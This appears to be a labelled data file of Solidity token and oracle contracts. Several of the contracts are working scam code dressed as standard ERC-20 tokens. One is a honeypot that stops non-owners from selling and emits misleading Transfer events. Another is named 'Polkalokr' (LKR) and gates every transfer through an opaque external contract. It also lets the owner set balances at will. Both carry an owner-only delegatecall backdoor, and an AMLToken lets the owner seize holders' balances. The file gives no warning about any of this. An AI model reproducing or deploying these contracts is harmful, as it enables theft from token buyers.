constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,804 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,461 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract AdminUpgradeabilityProxy is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Polkalokr";
string public symbol = "LKR";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 545 |
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Recoverable is Ownable {
function Recoverable() {
}
function recoverTokens(ERC20Basic token) onlyOwner public {
token.transfer(owner, tokensToBeReturned(token));
}
function tokensToBeReturned(ERC20Basic token) public returns (uint) {
return token.balanceOf(this);
}
}
contract StandardTokenExt is StandardToken, Recoverable {
function isToken() public constant returns (bool weAre) {
return true;
}
}
contract BurnableToken is StandardTokenExt {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = balances[burner].sub(burnAmount);
totalSupply_ = totalSupply_.sub(burnAmount);
Burned(burner, burnAmount);
Transfer(burner, BURN_ADDRESS, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardTokenExt {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = balances[msg.sender].sub(value);
totalSupply_ = totalSupply_.sub(value);
totalUpgraded = totalUpgraded.add(value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply_) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract ReleasableToken is StandardTokenExt {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract MintableToken is StandardTokenExt {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state);
event Minted(address receiver, uint amount);
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply_ = totalSupply_.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply_ = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply_;
if(totalSupply_ > 0) {
Minted(owner, totalSupply_);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply_ == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract BurnableCrowdsaleToken is BurnableToken, CrowdsaleToken {
function BurnableCrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable)
CrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
}
contract AMLToken is BurnableCrowdsaleToken {
event OwnerReclaim(address fromWhom, uint amount);
function AMLToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable) BurnableCrowdsaleToken(_name, _symbol, _initialSupply, _decimals, _mintable) {
}
function transferToOwner(address fromWhom) onlyOwner {
if (released) revert();
uint amount = balanceOf(fromWhom);
balances[fromWhom] = balances[fromWhom].sub(amount);
balances[owner] = balances[owner].add(amount);
Transfer(fromWhom, owner, amount);
OwnerReclaim(fromWhom, amount);
}
} | 1 | 3,241 |
pragma solidity ^0.4.11;
contract Oraclize {
mapping (address => uint) reqc;
mapping (address => byte) public cbAddresses;
mapping (address => bool) public offchainPayment;
event Log1(address sender, bytes32 cid, uint timestamp, string datasource, string arg, uint gaslimit, byte proofType, uint gasPrice);
event Log2(address sender, bytes32 cid, uint timestamp, string datasource, string arg1, string arg2, uint gaslimit, byte proofType, uint gasPrice);
event LogN(address sender, bytes32 cid, uint timestamp, string datasource, bytes args, uint gaslimit, byte proofType, uint gasPrice);
event Log1_fnc(address sender, bytes32 cid, uint timestamp, string datasource, string arg, function() external callback, uint gaslimit, byte proofType, uint gasPrice);
event Log2_fnc(address sender, bytes32 cid, uint timestamp, string datasource, string arg1, string arg2, function() external callback, uint gaslimit, byte proofType, uint gasPrice);
event LogN_fnc(address sender, bytes32 cid, uint timestamp, string datasource, bytes args, function() external callback, uint gaslimit, byte proofType, uint gasPrice);
event Emit_OffchainPaymentFlag(address indexed idx_sender, address sender, bool indexed idx_flag, bool flag);
address owner;
address paymentFlagger;
function changeAdmin(address _newAdmin)
external
{
onlyadmin();
owner = _newAdmin;
}
function changePaymentFlagger(address _newFlagger)
external
{
onlyadmin();
paymentFlagger = _newFlagger;
}
function addCbAddress(address newCbAddress, byte addressType)
external
{
onlyadmin();
addCbAddress(newCbAddress, addressType, hex'');
}
function addCbAddress(address newCbAddress, byte addressType, bytes proof)
public
{
onlyadmin();
cbAddresses[newCbAddress] = addressType;
}
function removeCbAddress(address newCbAddress)
external
{
onlyadmin();
delete cbAddresses[newCbAddress];
}
function cbAddress()
constant
returns (address _cbAddress)
{
if (cbAddresses[tx.origin] != 0)
_cbAddress = tx.origin;
}
function addDSource(string dsname, uint multiplier)
external
{
addDSource(dsname, 0x00, multiplier);
}
function addDSource(string dsname, byte proofType, uint multiplier)
public
{
onlyadmin();
bytes32 dsname_hash = sha3(dsname, proofType);
dsources[dsources.length++] = dsname_hash;
price_multiplier[dsname_hash] = multiplier;
}
function multiAddDSource(bytes32[] dsHash, uint256[] multiplier)
external
{
onlyadmin();
for (uint i=0; i<dsHash.length; i++) {
dsources[dsources.length++] = dsHash[i];
price_multiplier[dsHash[i]] = multiplier[i];
}
}
function multisetProofType(uint[] _proofType, address[] _addr)
external
{
onlyadmin();
for (uint i=0; i<_addr.length; i++) addr_proofType[_addr[i]] = byte(_proofType[i]);
}
function multisetCustomGasPrice(uint[] _gasPrice, address[] _addr)
external
{
onlyadmin();
for (uint i=0; i<_addr.length; i++) addr_gasPrice[_addr[i]] = _gasPrice[i];
}
uint gasprice = 20000000000;
function setGasPrice(uint newgasprice)
external
{
onlyadmin();
gasprice = newgasprice;
}
function setBasePrice(uint new_baseprice)
external
{
onlyadmin();
baseprice = new_baseprice;
for (uint i=0; i<dsources.length; i++) price[dsources[i]] = new_baseprice*price_multiplier[dsources[i]];
}
function setBasePrice(uint new_baseprice, bytes proofID)
external
{
onlyadmin();
baseprice = new_baseprice;
for (uint i=0; i<dsources.length; i++) price[dsources[i]] = new_baseprice*price_multiplier[dsources[i]];
}
function setOffchainPayment(address _addr, bool _flag)
external
{
if (msg.sender != paymentFlagger) throw;
offchainPayment[_addr] = _flag;
Emit_OffchainPaymentFlag(_addr, _addr, _flag, _flag);
}
function withdrawFunds(address _addr)
external
{
onlyadmin();
_addr.send(this.balance);
}
function Oraclize() {
owner = msg.sender;
}
function onlyadmin()
private {
if (msg.sender != owner) throw;
}
function costs(string datasource, uint gaslimit)
private
returns (uint price) {
price = getPrice(datasource, gaslimit, msg.sender);
if (msg.value >= price){
uint diff = msg.value - price;
if (diff > 0) {
if(!msg.sender.send(diff)) {
throw;
}
}
} else throw;
}
mapping (address => byte) addr_proofType;
mapping (address => uint) addr_gasPrice;
uint public baseprice;
mapping (bytes32 => uint) price;
mapping (bytes32 => uint) price_multiplier;
bytes32[] dsources;
bytes32[] public randomDS_sessionPubKeysHash;
function randomDS_updateSessionPubKeysHash(bytes32[] _newSessionPubKeysHash)
external
{
onlyadmin();
randomDS_sessionPubKeysHash.length = 0;
for (uint i=0; i<_newSessionPubKeysHash.length; i++) randomDS_sessionPubKeysHash.push(_newSessionPubKeysHash[i]);
}
function randomDS_getSessionPubKeyHash()
external
constant
returns (bytes32) {
uint i = uint(sha3(reqc[msg.sender]))%randomDS_sessionPubKeysHash.length;
return randomDS_sessionPubKeysHash[i];
}
function setProofType(byte _proofType)
external
{
addr_proofType[msg.sender] = _proofType;
}
function setCustomGasPrice(uint _gasPrice)
external
{
addr_gasPrice[msg.sender] = _gasPrice;
}
function getPrice(string _datasource)
public
returns (uint _dsprice)
{
return getPrice(_datasource, msg.sender);
}
function getPrice(string _datasource, uint _gaslimit)
public
returns (uint _dsprice)
{
return getPrice(_datasource, _gaslimit, msg.sender);
}
function getPrice(string _datasource, address _addr)
private
returns (uint _dsprice)
{
return getPrice(_datasource, 200000, _addr);
}
function getPrice(string _datasource, uint _gaslimit, address _addr)
private
returns (uint _dsprice)
{
uint gasprice_ = addr_gasPrice[_addr];
if (
(offchainPayment[_addr])
||(
(_gaslimit <= 200000)&&
(reqc[_addr] == 0)&&
(gasprice_ <= gasprice)&&
(tx.origin != cbAddress())
)
) return 0;
if (gasprice_ == 0) gasprice_ = gasprice;
_dsprice = price[sha3(_datasource, addr_proofType[_addr])];
_dsprice += _gaslimit*gasprice_;
return _dsprice;
}
function getCodeSize(address _addr)
private
constant
returns(uint _size)
{
assembly {
_size := extcodesize(_addr)
}
}
function query(string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(0, _datasource, _arg, 200000);
}
function query1(string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(0, _datasource, _arg, 200000);
}
function query2(string _datasource, string _arg1, string _arg2)
payable
external
returns (bytes32 _id)
{
return query2(0, _datasource, _arg1, _arg2, 200000);
}
function queryN(string _datasource, bytes _args)
payable
external
returns (bytes32 _id)
{
return queryN(0, _datasource, _args, 200000);
}
function query(uint _timestamp, string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, 200000);
}
function query1(uint _timestamp, string _datasource, string _arg)
payable
external
returns (bytes32 _id)
{
return query1(_timestamp, _datasource, _arg, 200000);
}
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2)
payable
external
returns (bytes32 _id)
{
return query2(_timestamp, _datasource, _arg1, _arg2, 200000);
}
function queryN(uint _timestamp, string _datasource, bytes _args)
payable
external
returns (bytes32 _id)
{
return queryN(_timestamp, _datasource, _args, 200000);
}
